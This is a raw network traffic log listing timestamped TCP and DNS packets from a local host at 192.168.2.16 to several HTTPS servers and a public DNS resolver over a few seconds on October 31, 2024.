Oct 31, 2024 21:54:55.841913939 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841960907 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.841964006 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.841996908 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.842547894 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842564106 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842614889 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.842617989 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842653036 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.842868090 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842883110 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842926979 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.842930079 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.842971087 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.843461990 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.843476057 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.843533993 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.843537092 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.843642950 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.844183922 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844197989 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844261885 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.844264984 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844305992 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.844558001 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844572067 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844621897 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.844625950 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.844664097 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.845324039 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845340014 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845383883 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.845390081 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845570087 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.845829964 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845843077 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845885038 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.845887899 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.845915079 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.845933914 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.846313000 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846328974 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846383095 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.846385956 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846441031 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.846811056 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846833944 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846890926 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.846898079 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.846940041 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.847379923 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.847394943 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.847461939 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.847465992 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.847510099 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.847982883 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.847997904 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.848054886 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.848057985 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.848099947 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.848583937 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.848597050 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.848661900 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.848664999 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.848706961 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.849066019 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849080086 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849145889 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.849148989 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849188089 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.849600077 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849617958 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849684954 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.849692106 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.849731922 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.850102901 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850120068 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850169897 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.850174904 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850202084 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.850219965 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.850831032 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850846052 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850908995 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.850914001 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.850955963 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.851140022 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851154089 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851207018 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.851210117 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851248026 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.851746082 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851761103 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851830006 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.851833105 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.851874113 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.851948023 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.852221012 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.852235079 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.852272034 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.852274895 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.852303982 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.852983952 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853002071 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853056908 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.853060961 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853307962 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853319883 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853369951 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.853373051 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.853408098 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.868866920 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.868884087 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.868935108 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.868938923 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.869024038 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.869087934 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.869091034 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.869111061 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.869144917 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.869440079 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:55.869446993 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:55.883368969 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.889117002 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.949625969 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.949889898 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.949913979 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.950196028 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.950495005 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.950552940 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.950640917 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:55.995352030 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:55.996325016 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.996383905 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:55.996445894 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.996871948 CET	49744	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:55.996891975 CET	443	49744	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.001116037 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.104471922 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:56.104546070 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:56.104592085 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.105715990 CET	49745	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.105748892 CET	443	49745	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:56.110243082 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.110291004 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.110362053 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.110601902 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.110614061 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.163743019 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.163841009 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.167471886 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.167494059 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.167759895 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.220093966 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.237895966 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.283329964 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.388087034 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.388135910 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:56.388267994 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.388487101 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:56.388503075 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:56.500636101 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500660896 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500673056 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500705004 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500720024 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500732899 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500731945 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.500761032 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.500778913 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.500802994 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.501126051 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.501208067 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.501218081 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.501619101 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.501678944 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.512402058 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.512437105 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.512454987 CET	49746	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:54:56.512463093 CET	443	49746	172.202.163.200	192.168.2.16
Oct 31, 2024 21:54:56.730573893 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.731000900 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.731014967 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.731302023 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.731867075 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.731946945 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.732836962 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.779330969 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.906429052 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.906500101 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:56.906553030 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.907145023 CET	49748	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:56.907166958 CET	443	49748	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:57.264266014 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.264611006 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.264627934 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.264914989 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.265387058 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.265436888 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.265546083 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.311330080 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.427439928 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.427504063 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.427551031 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.427583933 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.427628994 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.429649115 CET	49749	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.429672956 CET	443	49749	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.661678076 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.661717892 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.661828041 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.662040949 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:57.662055016 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:57.828361034 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:54:57.876125097 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:54:58.129128933 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:54:58.336771011 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.337048054 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.337080002 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.337428093 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.337743044 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.337805033 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.337899923 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.337995052 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.338023901 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.338123083 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.338150978 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657069921 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657116890 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657147884 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657174110 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657181025 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.657201052 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657221079 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.657247066 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657274961 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657290936 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.657294989 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.657574892 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.657579899 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.693970919 CET	53699	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:58.698801041 CET	53	53699	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:58.698873043 CET	53699	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:58.702152967 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.702158928 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.704113007 CET	53	53699	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:58.734260082 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:54:58.750133038 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.775662899 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.775716066 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.775742054 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.775796890 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.775803089 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.775855064 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.776076078 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.776120901 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.776325941 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.776329041 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777223110 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777259111 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777290106 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777307987 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.777312994 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777338028 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.777358055 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.777405024 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.777667046 CET	49750	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:58.777677059 CET	443	49750	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:58.780155897 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:58.780188084 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:58.780394077 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:58.780581951 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:58.780592918 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.393392086 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.393940926 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.393961906 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.394247055 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.397985935 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.398041964 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.398274899 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.398734093 CET	53699	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:59.404702902 CET	53	53699	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:59.404856920 CET	53699	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:59.443336010 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.451421976 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.542221069 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.542283058 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.542349100 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.542926073 CET	53700	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:59.542939901 CET	443	53700	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:59.945147038 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:55:00.913636923 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:00.913691044 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:00.914077997 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:00.914427042 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:00.914444923 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.673199892 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.673552036 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:01.673567057 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.673883915 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.674371958 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:01.674439907 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.674506903 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:01.674563885 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:01.674587011 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.674822092 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:01.674854040 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:01.728715897 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:55:01.728774071 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:55:01.729233980 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:55:02.060877085 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.060945988 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.061007023 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:02.061023951 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.061125994 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.061181068 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.061201096 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:02.061283112 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:02.061705112 CET	53701	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:55:02.061721087 CET	443	53701	104.18.94.41	192.168.2.16
Oct 31, 2024 21:55:02.065664053 CET	49725	443	192.168.2.16	216.58.206.68
Oct 31, 2024 21:55:02.065692902 CET	443	49725	216.58.206.68	192.168.2.16
Oct 31, 2024 21:55:02.066032887 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.066054106 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.066137075 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.066471100 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.066483021 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.070755005 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.070791006 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.070894957 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.070935965 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.070940971 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.070988894 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.071355104 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.071358919 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.071368933 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.071371078 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.349143028 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:55:02.680315971 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.680562019 CET	53703	443	192.168.2.16	188.114.97.3
